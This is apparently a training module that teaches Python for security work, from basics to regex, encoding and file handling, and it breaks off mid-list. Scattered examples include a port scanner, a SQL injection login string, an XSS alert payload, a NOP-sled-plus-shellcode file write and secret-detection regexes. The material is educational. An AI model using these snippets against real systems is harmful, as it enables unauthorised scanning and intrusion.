Next Stage: Stage 01 — Network Fundamentals

Why Programming Is the Multiplier
Python — The Language of Security
Variables and Data Types
Loops and Conditionals
Functions
Error Handling
File Read and Write
String Operations
Basic Algorithms
Security-Oriented Programming Mindset
Hands-On Projects
Further Reading and Resources

1. Why Programming Is the Multiplier

There is a clear ceiling in cybersecurity for people who cannot code. They can run tools built by others. They can follow documented exploitation steps. They can use frameworks someone else developed. But they cannot:

Build a custom exploit for a vulnerability that has no public PoC
Write a script that automates reconnaissance across thousands of targets
Modify existing tools to evade detection
Analyse malware source code or reverse engineer compiled binaries
Build detection logic that catches novel attack patterns
Create tools tailored to specific OT protocols that no commercial product supports

Programming removes that ceiling. It turns you from a tool user into a tool builder.

The security professional's programming reality:

You do not need to be a software engineer. You do not need to build production-grade applications with clean architecture and unit tests. You need to be able to:

Read code and understand what it does
Write scripts that automate your work
Modify existing tools for your specific needs
Understand how vulnerabilities manifest at the code level

These four abilities are achievable. This module builds the foundation for all of them.

Language choice — Python:

Every language has advocates. For security work, the choice is Python, and it is not close:

All major security frameworks are Python — Impacket, Scapy, Volatility, pwntools, sqlmap
Metasploit modules are Ruby but Python scripts are the glue that connects everything
OSCP, GICSP, and every professional certification assumes Python competence
The speed from idea to working script is the fastest in Python
Libraries for every security task exist — socket, struct, ctypes, requests, cryptography, scapy

For your OT/ICS path: Modbus, DNP3, and IEC 60870 all have Python libraries. Writing a custom Modbus scanner, a DNP3 fuzzer, or a script that reads PMU data — all Python. The intersection of industrial protocol knowledge and Python is exactly where the most interesting OT security work happens.

2. Python — The Language of Security

2.1 Installation and Environment

# Check Python version (Python 3.8+ required, 3.10+ recommended)
python3 --version

# On Kali/Ubuntu — Python 3 is pre-installed
# Verify pip is available
pip3 --version

# Create a virtual environment (best practice — isolates project dependencies)
python3 -m venv security_env
source security_env/bin/activate     # Activate on Linux/Mac
# security_env\Scripts\activate      # Activate on Windows

# Install packages
pip3 install requests scapy pwntools impacket
pip3 install -r requirements.txt     # Install from requirements file

# Deactivate virtual environment
deactivate

2.2 Running Python

# Interactive interpreter (REPL — Read Eval Print Loop)
python3
>>> print("Hello")
>>> 2 + 2
>>> exit()

# Run a script
python3 script.py

# Run one-liner
python3 -c "import socket; print(socket.gethostbyname('google.com'))"

# Start a simple HTTP server (used constantly in security work)
python3 -m http.server 8080
python3 -m http.server 8080 --bind 0.0.0.0  # Listen on all interfaces

2.3 Python Basics — Syntax Rules

# Comments start with #
# Python uses indentation (4 spaces) instead of brackets for code blocks

# Correct:
if True:
    print("indented correctly")

# Wrong — IndentationError:
if True:
print("not indented")  # This will crash

# No semicolons needed at end of lines
# No variable declaration keywords (no var, let, int)
# Python is dynamically typed — type is determined at runtime

3. Variables and Data Types

3.1 Variables

# Variable assignment — no type declaration needed
name = "Alice"
age = 30
height = 1.75
is_admin = True

# Multiple assignment
x = y = z = 0
a, b, c = 1, 2, 3   # Tuple unpacking

# Variable naming conventions
user_name = "bob"          # snake_case — Python standard
MAX_RETRIES = 3            # UPPERCASE for constants (convention, not enforced)
_private = "internal"      # Underscore prefix = "private" by convention

# Check type
print(type(name))          # <class 'str'>
print(type(age))           # <class 'int'>
print(type(height))        # <class 'float'>
print(type(is_admin))      # <class 'bool'>

3.2 Core Data Types

Integers and Floats

# Integers — whole numbers, no size limit in Python 3
port = 443
pid = 1337
max_uint32 = 0xFFFFFFFF      # Hex notation
binary_value = 0b11001100    # Binary notation
octal_value = 0o755          # Octal notation (file permissions!)

print(hex(255))              # '0xff'
print(bin(255))              # '0b11111111'
print(oct(255))              # '0o377'

# Integer arithmetic
result = 10 // 3             # Integer division: 3 (floor division)
remainder = 10 % 3           # Modulo: 1 (remainder)
power = 2 ** 10              # Exponentiation: 1024

# Floats — floating point numbers
pi = 3.14159
scientific = 1.5e-10         # Scientific notation

# Type conversion
port_str = "8080"
port_int = int(port_str)     # String to int
port_float = float(port_str) # String to float
port_back = str(port_int)    # Int to string

# Security use: working with raw bytes and integers
ip_int = int.from_bytes(b'\xc0\xa8\x01\x01', 'big')  # 192.168.1.1 as integer
print(ip_int)                # 3232235777
ip_bytes = ip_int.to_bytes(4, 'big')
print(ip_bytes)              # b'\xc0\xa8\x01\x01'

Strings

# String literals — single, double, or triple quotes
name = 'Alice'
message = "Hello, World"
multiline = """This is
a multiline
string"""

# Raw strings — backslashes not treated as escape sequences
path = r"C:\Users\Alice\Documents"     # r prefix = raw string
regex = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"  # IP regex pattern

# f-strings — formatted strings (Python 3.6+, use these always)
host = "192.168.1.1"
port = 80
print(f"Connecting to {host}:{port}")
print(f"Port in hex: {port:#x}")       # Port in hex: 0x50

# String operations
s = "Hello, Security!"
print(len(s))                          # 16 — length
print(s.upper())                       # HELLO, SECURITY!
print(s.lower())                       # hello, security!
print(s.strip())                       # Remove whitespace from both ends
print(s.replace("Hello", "Goodbye"))
print(s.split(", "))                   # ['Hello', 'Security!']
print(s.startswith("Hello"))           # True
print(s.endswith("!"))                 # True
print("Security" in s)                 # True — membership test

# Indexing and slicing
s = "ABCDEFGH"
print(s[0])                            # A — first character
print(s[-1])                           # H — last character
print(s[2:5])                          # CDE — slice [start:end]
print(s[:3])                           # ABC — from beginning
print(s[5:])                           # FGH — to end
print(s[::-1])                         # HGFEDCBA — reverse

# Bytes — critical for network and binary work
data = b"GET / HTTP/1.1\r\n"          # b prefix = bytes literal
print(type(data))                      # <class 'bytes'>
print(data[0])                         # 71 — integer value of 'G'
print(data.hex())                      # 474554202f20485454502f312e310d0a

# Convert between strings and bytes
s = "Hello"
b = s.encode('utf-8')                  # str → bytes
s2 = b.decode('utf-8')                 # bytes → str

# Base64 encoding/decoding — used constantly in security
import base64
encoded = base64.b64encode(b"secret payload")   # b'c2VjcmV0IHBheWxvYWQ='
decoded = base64.b64decode(encoded)              # b'secret payload'

# Hex encoding/decoding
hex_string = b"shellcode".hex()        # '7368656c6c636f6465'
back = bytes.fromhex(hex_string)       # b'shellcode'

Lists

# Lists — ordered, mutable, allow duplicates
ports = [80, 443, 8080, 8443]
hosts = ["192.168.1.1", "192.168.1.2", "10.0.0.1"]
mixed = [1, "two", 3.0, True, None]

# Indexing and slicing (same as strings)
print(ports[0])                        # 80
print(ports[-1])                       # 8443
print(ports[1:3])                      # [443, 8080]

# Modifying lists
ports.append(3389)                     # Add to end
ports.insert(0, 21)                    # Insert at index
ports.extend([22, 25])                 # Add multiple
ports.remove(21)                       # Remove by value
popped = ports.pop()                   # Remove and return last
del ports[0]                           # Remove by index

# List operations
print(len(ports))                      # Length
print(80 in ports)                     # Membership test
ports.sort()                           # Sort in place
sorted_ports = sorted(ports)           # Return sorted copy
ports.reverse()                        # Reverse in place

# List comprehension — Python's most powerful one-liner
squares = [x**2 for x in range(10)]
open_ports = [p for p in ports if p < 1024]
hosts_80 = [h for h in hosts if h.startswith("192")]

# Security use: IP range generation
subnet = [f"192.168.1.{i}" for i in range(1, 255)]
print(subnet[:5])                      # ['192.168.1.1', '192.168.1.2', ...]

Dictionaries

# Dictionaries — key-value pairs, ordered (Python 3.7+), mutable
# The most important data structure for security scripts

# Create
host_info = {
    "ip": "192.168.1.100",
    "hostname": "server01",
    "open_ports": [22, 80, 443],
    "os": "Ubuntu 22.04",
    "is_reachable": True
}

# Access
print(host_info["ip"])                 # 192.168.1.100
print(host_info.get("hostname"))       # server01
print(host_info.get("mac", "unknown")) # "unknown" — default if key missing

# Modify
host_info["services"] = {"22": "SSH", "80": "HTTP"}
host_info["open_ports"].append(8080)
del host_info["is_reachable"]

# Iterate
for key, value in host_info.items():
    print(f"{key}: {value}")

for key in host_info.keys():
    print(key)

for value in host_info.values():
    print(value)

# Check membership
print("ip" in host_info)               # True
print("mac" in host_info)              # False

# Nested dictionaries — scan results
scan_results = {
    "192.168.1.1": {"ports": [22, 80], "os": "Linux"},
    "192.168.1.2": {"ports": [445, 3389], "os": "Windows"},
    "192.168.1.3": {"ports": [], "os": "Unknown"}
}

# Dictionary comprehension
port_dict = {port: "open" for port in [22, 80, 443]}

Sets and Tuples

# Sets — unordered, unique elements, fast membership testing
unique_ips = {"192.168.1.1", "10.0.0.1", "192.168.1.1"}  # Duplicate removed
print(unique_ips)                      # {'192.168.1.1', '10.0.0.1'}

# Set operations — perfect for finding differences in scan results
scan1 = {22, 80, 443, 8080}
scan2 = {22, 80, 3389, 5985}

newly_opened = scan2 - scan1          # {3389, 5985} — in scan2 not scan1
closed = scan1 - scan2                # {443, 8080} — in scan1 not scan2
always_open = scan1 & scan2           # {22, 80} — intersection

# Tuples — ordered, immutable
coordinates = (192, 168, 1, 1)
host_port = ("192.168.1.1", 443)      # Common pattern for socket connections

# Unpacking
host, port = host_port
ip1, ip2, ip3, ip4 = coordinates

3.3 None — The Null Value

# None represents absence of a value
result = None

# Check for None
if result is None:                     # Use "is None", not "== None"
    print("No result")

# Functions that don't return a value return None implicitly
def do_something():
    x = 1 + 1                          # No return statement

result = do_something()
print(result)                          # None

4. Loops and Conditionals

4.1 Conditionals — if/elif/else

# Basic if/elif/else
port = 443

if port == 80:
    service = "HTTP"
elif port == 443:
    service = "HTTPS"
elif port == 22:
    service = "SSH"
elif port == 3389:
    service = "RDP"
else:
    service = "Unknown"

print(f"Port {port}: {service}")

# Comparison operators
# ==   equal
# !=   not equal
# >    greater than
# <    less than
# >=   greater or equal
# <=   less or equal
# is   identity (same object in memory)
# in   membership

# Logical operators
if port > 1023 and port < 65536:
    print("Unprivileged port")

if port == 80 or port == 8080:
    print("HTTP variant")

if not port == 443:
    print("Not HTTPS")

# One-line conditional (ternary)
label = "privileged" if port < 1024 else "unprivileged"

# Chaining comparisons (Pythonic)
if 1024 <= port <= 65535:
    print("User port range")

# Truthiness — what evaluates as False:
# False, None, 0, 0.0, "", [], {}, set()
# Everything else is True

ports = []
if not ports:                          # Empty list is falsy
    print("No open ports found")

result = None
if result:                             # None is falsy
    process(result)

4.2 Loops

# for loop — iterate over any iterable
for port in [22, 80, 443, 3389]:
    print(f"Scanning port {port}...")

# range() — generate sequence of numbers
for i in range(10):                    # 0 to 9
    print(i)

for i in range(1, 11):                 # 1 to 10
    print(i)

for i in range(0, 256, 16):           # 0, 16, 32, ..., 240 (step 16)
    print(i)

for i in range(254, 0, -1):           # Count down
    print(i)

# Iterate with index — enumerate()
hosts = ["192.168.1.1", "192.168.1.2", "192.168.1.3"]
for index, host in enumerate(hosts):
    print(f"{index}: {host}")

# Iterate over dictionary
for key, value in scan_results.items():
    print(f"Host: {key}, Ports: {value}")

# while loop
attempts = 0
max_attempts = 3

while attempts < max_attempts:
    print(f"Attempt {attempts + 1}")
    attempts += 1

# Infinite loop with break
while True:
    data = receive_data()
    if data is None:
        break                          # Exit loop
    process(data)

# Loop control
for port in range(1, 1025):
    if port == 80:
        continue                       # Skip this iteration
    if port == 100:
        break                          # Exit loop entirely
    scan_port(port)

# else on loops — runs if loop completed without break
for port in range(1, 1025):
    if is_open(port):
        print(f"Found open port: {port}")
        break
else:
    print("No open ports found in range")   # Only runs if no break

# Nested loops
for host in ["192.168.1.1", "192.168.1.2"]:
    for port in [22, 80, 443]:
        print(f"Scanning {host}:{port}")

4.3 Comprehensions — Compact Loops

# List comprehension
open_ports = [p for p in range(1, 65536) if check_port(p)]

# With transformation
port_strings = [str(p) for p in [22, 80, 443]]

# Dict comprehension
port_services = {22: "SSH", 80: "HTTP", 443: "HTTPS"}
reverse = {v: k for k, v in port_services.items()}  # {"SSH": 22, ...}

# Set comprehension
unique_subnets = {ip.rsplit('.', 1)[0] for ip in ip_list}

# Generator expression — like list comp but lazy (doesn't create full list in memory)
# Use for large datasets
total = sum(1 for line in open('access.log') if '404' in line)

5. Functions

5.1 Defining and Calling Functions

# Basic function
def scan_port(host, port):
    """
    Check if a TCP port is open on a host.

    Args:
        host: Target IP address or hostname
        port: TCP port number to check

    Returns:
        True if port is open, False otherwise
    """
    import socket
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        result = sock.connect_ex((host, port))
        sock.close()
        return result == 0             # 0 = success = port open
    except Exception:
        return False

# Call the function
is_open = scan_port("192.168.1.1", 80)
print(is_open)

5.2 Parameters and Arguments

# Default parameters
def connect(host, port=80, timeout=5, use_ssl=False):
    print(f"Connecting to {host}:{port} (timeout={timeout}, ssl={use_ssl})")

connect("192.168.1.1")                 # Uses defaults: port=80, timeout=5, ssl=False
connect("192.168.1.1", 443)            # port=443, others default
connect("192.168.1.1", use_ssl=True)   # Keyword argument — skip positional
connect("192.168.1.1", 443, 10, True)  # All positional

# *args — variable number of positional arguments
def scan_ports(host, *ports):
    for port in ports:
        print(f"Scanning {host}:{port}")

scan_ports("192.168.1.1", 22, 80, 443, 8080)

# **kwargs — variable keyword arguments
def log_event(**kwargs):
    for key, value in kwargs.items():
        print(f"{key}: {value}")

log_event(timestamp="2026-01-01", source_ip="10.0.0.1", event_type="login", user="root")

# Return multiple values (actually returns a tuple)
def get_host_info(ip):
    hostname = resolve_hostname(ip)
    open_ports = scan_all_ports(ip)
    os_guess = os_fingerprint(ip)
    return hostname, open_ports, os_guess   # Returns tuple

hostname, ports, os = get_host_info("192.168.1.1")  # Unpack

5.3 Scope

# Local vs Global scope
counter = 0                            # Global variable

def increment():
    global counter                     # Declare we're using the global
    counter += 1

def bad_increment():
    counter += 1                       # UnboundLocalError — Python thinks counter is local

# Best practice: avoid global state, pass values as arguments
def increment_counter(count):
    return count + 1                   # Pure function — no side effects

counter = increment_counter(counter)

5.4 Lambda Functions

# Lambda — anonymous one-line function
square = lambda x: x ** 2
print(square(5))                       # 25

# Common use: sorting with custom key
hosts = [
    {"ip": "192.168.1.10", "ports": 3},
    {"ip": "192.168.1.1", "ports": 10},
    {"ip": "192.168.1.5", "ports": 1}
]
sorted_hosts = sorted(hosts, key=lambda h: h["ports"], reverse=True)
# Sorted by number of open ports, descending

5.5 Useful Built-in Functions

# Essential built-ins every security scripter must know

print(len([1, 2, 3]))                  # 3
print(range(10))                       # range(0, 10)
print(list(range(10)))                 # [0, 1, 2, ..., 9]
print(type("hello"))                   # <class 'str'>
print(isinstance("hello", str))        # True

# Input/Output
user_input = input("Enter target IP: ")

# Map and filter
ips = ["192.168.1.1", "10.0.0.1", "172.16.0.1"]
lengths = list(map(len, ips))          # [11, 8, 11]
private = list(filter(lambda ip: ip.startswith("192"), ips))  # Filter

# Zip — combine two iterables
hosts = ["web01", "db01", "mail01"]
ips = ["192.168.1.10", "192.168.1.20", "192.168.1.30"]
combined = list(zip(hosts, ips))       # [("web01", "192.168.1.10"), ...]
host_map = dict(zip(hosts, ips))       # {"web01": "192.168.1.10", ...}

# Min, Max, Sum
ports = [22, 80, 443, 8080]
print(min(ports))                      # 22
print(max(ports))                      # 8080
print(sum(ports))                      # 8625
print(sorted(ports))                   # [22, 80, 443, 8080]

# Any and All — check conditions across iterables
results = [True, True, False, True]
print(any(results))                    # True — at least one True
print(all(results))                    # False — not all True

# Enumerate and zip used together
for i, (host, ip) in enumerate(zip(hosts, ips)):
    print(f"{i}: {host} → {ip}")

6. Error Handling

6.1 Why Error Handling Matters in Security Scripts

Security scripts run against external targets — networks that are unreliable, hosts that go offline, services that behave unexpectedly. Without proper error handling, your scanner crashes on the first timeout, your exploit stops at the first failed connection, your log parser dies on the first malformed line.

Professional security code handles failures gracefully, logs what went wrong, and continues operating.

6.2 try/except/else/finally

import socket

# Basic try/except
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.1.1", 80))
    print("Connected!")
except socket.timeout:
    print("Connection timed out")
except ConnectionRefusedError:
    print("Port is closed")
except socket.gaierror as e:
    print(f"DNS resolution failed: {e}")
except Exception as e:
    print(f"Unexpected error: {e}")
finally:
    sock.close()                       # Always runs, even if exception occurred

# try/except/else
try:
    result = int("443")
except ValueError:
    print("Not a valid port number")
else:
    # Only runs if NO exception occurred
    print(f"Valid port: {result}")

# Catching multiple exceptions
try:
    connect_to_target()
except (ConnectionRefusedError, socket.timeout, OSError) as e:
    print(f"Connection failed: {e}")

6.3 Common Exceptions in Security Scripts

# Network errors
import socket, requests

try:
    response = requests.get("http://target.com", timeout=5)
    response.raise_for_status()        # Raises HTTPError for 4xx/5xx
except requests.exceptions.Timeout:
    print("Request timed out")
except requests.exceptions.ConnectionError:
    print("Cannot connect — host down or port closed")
except requests.exceptions.HTTPError as e:
    print(f"HTTP error: {e.response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"Request failed: {e}")

# File errors
try:
    with open("targets.txt", "r") as f:
        targets = f.readlines()
except FileNotFoundError:
    print("targets.txt not found")
    targets = []
except PermissionError:
    print("No permission to read targets.txt")
    targets = []

# Type and value errors
try:
    port = int(user_input)
    if not 1 <= port <= 65535:
        raise ValueError(f"Port {port} out of valid range")
except ValueError as e:
    print(f"Invalid port: {e}")

6.4 Raising Exceptions

def validate_ip(ip):
    """Validate IP address format."""
    parts = ip.split(".")
    if len(parts) != 4:
        raise ValueError(f"Invalid IP: {ip}")
    for part in parts:
        if not part.isdigit() or not 0 <= int(part) <= 255:
            raise ValueError(f"Invalid IP octet: {part} in {ip}")
    return True

# Custom exceptions — for complex tools
class ScanError(Exception):
    """Base exception for scanner errors."""
    pass

class TargetUnreachable(ScanError):
    """Target host is not responding."""
    pass

class AuthenticationFailed(ScanError):
    """Authentication to target failed."""
    pass

# Using custom exceptions
def connect_to_service(host, port, credentials):
    if not ping(host):
        raise TargetUnreachable(f"Host {host} is not responding")
    if not authenticate(credentials):
        raise AuthenticationFailed(f"Invalid credentials for {host}")

try:
    connect_to_service("192.168.1.1", 22, ("root", "password"))
except TargetUnreachable as e:
    print(f"Cannot reach target: {e}")
except AuthenticationFailed as e:
    print(f"Auth failed: {e}")

6.5 Context Managers — The Pythonic Way

# "with" statement ensures resources are properly released even on error
# This is the correct way to handle files and network connections

# File handling with context manager
with open("output.txt", "w") as f:
    f.write("scan results")
# File is automatically closed when block exits, even if exception occurs

# Socket with context manager
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.settimeout(1)
    sock.connect(("192.168.1.1", 80))
    sock.send(b"GET / HTTP/1.0\r\n\r\n")
    data = sock.recv(4096)
# Socket automatically closed

# Custom context manager
from contextlib import contextmanager

@contextmanager
def timed_scan(host):
    import time
    print(f"Starting scan of {host}")
    start = time.time()
    try:
        yield
    finally:
        elapsed = time.time() - start
        print(f"Scan of {host} completed in {elapsed:.2f}s")

with timed_scan("192.168.1.1"):
    perform_scan("192.168.1.1")

7. File Read and Write

7.1 Reading Files

# Reading entire file
with open("targets.txt", "r") as f:
    content = f.read()                 # Entire file as string

with open("targets.txt", "r") as f:
    lines = f.readlines()              # List of lines (includes \n)

# Reading line by line — memory efficient for large files
with open("access.log", "r") as f:
    for line in f:                     # f is an iterator
        if "404" in line:
            print(line.strip())        # strip() removes trailing \n

# Clean line reading
with open("targets.txt", "r") as f:
    targets = [line.strip() for line in f if line.strip()]  # Skip empty lines

# Reading binary files — for forensics, malware analysis
with open("sample.exe", "rb") as f:   # "rb" = read binary
    header = f.read(4)                 # Read first 4 bytes (magic bytes)
    print(header.hex())                # MZ header: 4d5a → PE file

# Checking magic bytes (file type detection)
magic_bytes = {
    b'\x4d\x5a': "Windows PE (EXE/DLL)",
    b'\x7fELF': "Linux ELF binary",
    b'\x89PNG': "PNG image",
    b'%PDF': "PDF document",
    b'PK\x03\x04': "ZIP archive (also DOCX, XLSX, APKJ)"
}

with open("unknown_file", "rb") as f:
    header = f.read(4)
    for magic, filetype in magic_bytes.items():
        if header.startswith(magic):
            print(f"File type: {filetype}")
            break

7.2 Writing Files

# Write (overwrite if exists)
with open("scan_results.txt", "w") as f:
    f.write("Scan Results\n")
    f.write("=" * 40 + "\n")
    for host, ports in results.items():
        f.write(f"{host}: {', '.join(map(str, ports))}\n")

# Append to file
with open("scan_log.txt", "a") as f:
    f.write(f"[{timestamp}] Scanned {host}\n")

# Writing binary
with open("payload.bin", "wb") as f:
    f.write(b"\x90" * 100)            # 100 NOP instructions
    f.write(shellcode)

# Writing multiple lines efficiently
lines = [f"192.168.1.{i}\n" for i in range(1, 255)]
with open("subnet.txt", "w") as f:
    f.writelines(lines)

7.3 JSON — The Standard Data Exchange Format

import json

# Load JSON from file
with open("scan_results.json", "r") as f:
    data = json.load(f)

# Load JSON from string
json_str = '{"host": "192.168.1.1", "ports": [22, 80, 443]}'
data = json.loads(json_str)
print(data["host"])                    # 192.168.1.1

# Write JSON to file
results = {
    "192.168.1.1": {"ports": [22, 80], "os": "Linux"},
    "192.168.1.2": {"ports": [3389], "os": "Windows"}
}
with open("results.json", "w") as f:
    json.dump(results, f, indent=4)    # indent=4 for pretty printing

# Convert to JSON string
json_str = json.dumps(results, indent=2)
print(json_str)

# Handling JSON from APIs and security tools
import requests
response = requests.get("https://api.shodan.io/shodan/host/8.8.8.8")
data = response.json()
print(data["org"])                     # Google LLC
print(data["ports"])                   # [53, 443]

7.4 CSV — Log Analysis

import csv

# Read CSV
with open("hosts.csv", "r") as f:
    reader = csv.DictReader(f)         # Use header row as keys
    for row in reader:
        print(row["ip"], row["hostname"], row["status"])

# Write CSV
hosts = [
    {"ip": "192.168.1.1", "hostname": "router", "status": "up"},
    {"ip": "192.168.1.2", "hostname": "server", "status": "up"}
]
with open("output.csv", "w", newline='') as f:
    fieldnames = ["ip", "hostname", "status"]
    writer = csv.DictWriter(f, fieldnames=fieldnames)
    writer.writeheader()
    writer.writerows(hosts)

# Parse Apache/Nginx access logs
import re
log_pattern = r'(\S+) \S+ \S+ \[(.+?)\] "(\S+) (\S+) \S+" (\d+) (\d+)'
with open("/var/log/nginx/access.log", "r") as f:
    for line in f:
        match = re.match(log_pattern, line)
        if match:
            ip, time, method, path, status, size = match.groups()
            if status == "404":
                print(f"404: {ip} requested {path}")

7.5 Working with Paths

import os
from pathlib import Path                # Modern, recommended

# pathlib (Python 3.4+, always use this)
p = Path("/etc/ssh/sshd_config")

print(p.exists())                      # True/False
print(p.is_file())                     # True
print(p.is_dir())                      # False
print(p.parent)                        # /etc/ssh
print(p.name)                          # sshd_config
print(p.stem)                          # sshd_config (no extension here)
print(p.suffix)                        # '' (no extension)
print(p.stat().st_size)                # File size in bytes
print(p.stat().st_mtime)               # Modification timestamp

# Build paths
home = Path.home()                     # /home/kali or /root
config = home / ".ssh" / "config"     # /home/kali/.ssh/config

# List directory
for f in Path("/etc").iterdir():
    if f.is_file():
        print(f.name)

# Recursive glob
for py_file in Path("/home").rglob("*.py"):
    print(py_file)

for sh_file in Path("/etc").glob("*.conf"):
    print(sh_file)

# os module (older but still used)
print(os.getcwd())                     # Current directory
os.makedirs("/tmp/results", exist_ok=True)  # Create directory tree
os.environ.get("HOME")                 # Get environment variable
os.listdir("/tmp")                     # List directory
os.path.join("/etc", "ssh", "sshd_config")  # Build path (os.path way)

8. String Operations

8.1 Regular Expressions — The Security Analyst's Power Tool

Regular expressions (regex) are patterns for matching, extracting, and manipulating text. They are indispensable for log analysis, data extraction, and input validation.

import re

# Basic matching
text = "Failed password for root from 192.168.1.100 port 51234"

# re.search — find first match anywhere in string
match = re.search(r"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", text)
if match:
    print(match.group(1))              # 192.168.1.100

# re.findall — find all matches
text = "Hosts: 192.168.1.1, 10.0.0.1, 172.16.0.5 are down"
ips = re.findall(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
print(ips)                             # ['192.168.1.1', '10.0.0.1', '172.16.0.5']

# re.match — match at beginning of string
if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", "192.168.1.1"):
    print("Valid IP format")

# re.sub — replace
clean = re.sub(r"password=\S+", "password=REDACTED", "db_password=s3cr3t123")
print(clean)                           # db_password=REDACTED

# re.split — split on pattern
parts = re.split(r"[\s,;]+", "192.168.1.1, 10.0.0.1; 172.16.0.1")
print(parts)                           # ['192.168.1.1', '10.0.0.1', '172.16.0.1']

# Groups — extract parts of a pattern
log_line = "May 29 10:00:01 server sshd[1234]: Accepted publickey for john from 10.10.14.5"
pattern = r"Accepted \w+ for (\w+) from ([\d.]+)"
match = re.search(pattern, log_line)
if match:
    user = match.group(1)              # john
    ip = match.group(2)               # 10.10.14.5
    print(f"User {user} logged in from {ip}")

# Named groups — cleaner code
pattern = r"Accepted \w+ for (?P<user>\w+) from (?P<ip>[\d.]+)"
match = re.search(pattern, log_line)
if match:
    print(match.group("user"))         # john
    print(match.group("ip"))           # 10.10.14.5

# Compile pattern for reuse (performance)
ip_pattern = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b")
# Now use: ip_pattern.search(), ip_pattern.findall(), etc.

8.2 Essential Regex Patterns for Security Work

import re

patterns = {
    # Network
    "ipv4": r"\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b",
    "ipv6": r"(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}",
    "mac": r"(?:[0-9a-fA-F]{2}[:-]){5}[0-9a-fA-F]{2}",
    "url": r"https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+[/\w .?=%&-]*",
    "domain": r"(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}",

    # Credentials
    "email": r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}",
    "base64": r"(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?",

    # Hash patterns
    "md5": r"\b[a-fA-F0-9]{32}\b",
    "sha1": r"\b[a-fA-F0-9]{40}\b",
    "sha256": r"\b[a-fA-F0-9]{64}\b",
    "ntlm": r"\b[a-fA-F0-9]{32}\b",    # Same as MD5 format

    # Credit card (for DLP testing)
    "credit_card": r"\b(?:\d{4}[-\s]?){3}\d{4}\b",

    # AWS
    "aws_key": r"AKIA[0-9A-Z]{16}",
    "aws_secret": r"(?<![A-Z0-9])[A-Za-z0-9/+]{40}(?![A-Za-z0-9/+])",
}

# Usage example: extract IOCs from text
def extract_iocs(text):
    return {
        "ips": re.findall(patterns["ipv4"], text),
        "domains": re.findall(patterns["domain"], text),
        "emails": re.findall(patterns["email"], text),
        "md5": re.findall(patterns["md5"], text),
        "sha256": re.findall(patterns["sha256"], text),
        "urls": re.findall(patterns["url"], text),
    }

8.3 String Encoding and Decoding for Security Work

import base64, binascii, urllib.parse, html

# Base64
encoded = base64.b64encode(b"secret payload").decode()   # String output
decoded = base64.b64decode(encoded)                       # Bytes output

# URL encoding/decoding
url_encoded = urllib.parse.quote("SELECT * FROM users WHERE name='admin'")
# SELECT%20%2A%20FROM%20users%20WHERE%20name%3D%27admin%27
decoded_url = urllib.parse.unquote(url_encoded)

# URL encoding for POST data
from urllib.parse import urlencode
params = {"username": "admin' OR '1'='1", "password": "anything"}
encoded_params = urlencode(params)

# HTML encoding/decoding
html_encoded = html.escape("<script>alert('XSS')</script>")
# &lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;
decoded_html = html.unescape(html_encoded)

# Hex encoding
hex_str = "hello".encode().hex()               # '68656c6c6f'
back = bytes.fromhex(hex_str).decode()         # 'hello'

# ROT13 (Caesar cipher, used in old CTFs)
import codecs
rot13 = codecs.encode("Hello World", "rot13")  # Uryyb Jbeyq
original = codecs.decode(rot13, "rot13")        # Hello World

# XOR — common in malware obfuscation
def xor_decode(data, key):
    return bytes(b ^ key for b in data)

obfuscated = bytes([0x48 ^ 0xAA, 0x65 ^ 0xAA, 0x6C ^ 0xAA])  # XOR with 0xAA
decoded = xor_decode(obfuscated, 0xAA)
print(decoded)                                  # b'Hel'

9. Basic Algorithms

9.1 Why Algorithms Matter in Security

Algorithm knowledge in security is not academic. It directly applies to:

Understanding time complexity of brute force attacks (how long will this actually take?)
Writing efficient log parsers that handle millions of lines
Implementing search in threat intelligence lookups
Sorting and ranking vulnerabilities by severity
Detecting patterns in network traffic

9.2 Searching

# Linear search — O(n) — check every element
def linear_search(lst, target):
    for i, item in enumerate(lst):
        if item == target:
            return i
    return -1

# For security: searching for a specific IP in a blocklist
blocklist = ["10.0.0.1", "192.168.1.100", "172.16.0.5"]
result = linear_search(blocklist, "192.168.1.100")

# Better for membership: use a set — O(1) lookup
blocklist_set = set(blocklist)
if "192.168.1.100" in blocklist_set:   # Instant lookup regardless of list size
    print("IP is blocked")

# This matters at scale:
# Linear search through 1,000,000 IPs: up to 1,000,000 comparisons
# Set lookup: 1 comparison regardless of size
# When processing firewall logs with millions of entries, this is the difference
# between a script that takes 10 seconds and one that takes 2 hours

# Binary search — O(log n) — requires sorted list
def binary_search(lst, target):
    left, right = 0, len(lst) - 1
    while left <= right:
        mid = (left + right) // 2
        if lst[mid] == target:
            return mid
        elif lst[mid] < target:
            left = mid + 1
        else:
            right = mid - 1
    return -1

# Built-in binary search
import bisect
sorted_ports = sorted([443, 80, 22, 3389, 8080])
index = bisect.bisect_left(sorted_ports, 443)
if sorted_ports[index] == 443:
    print("Port 443 found")

9.3 Sorting

# Python's built-in sort is Timsort — O(n log n) — extremely efficient
ports = [8080, 22, 443, 80, 3389, 21]
ports.sort()                           # In-place sort
sorted_ports = sorted(ports)           # Returns new sorted list

# Sort scan results by severity
vulnerabilities = [
    {"cve": "CVE-2021-44228", "cvss": 10.0, "name": "Log4Shell"},
    {"cve": "CVE-2022-0847", "cvss": 7.8, "name": "Dirty Pipe"},
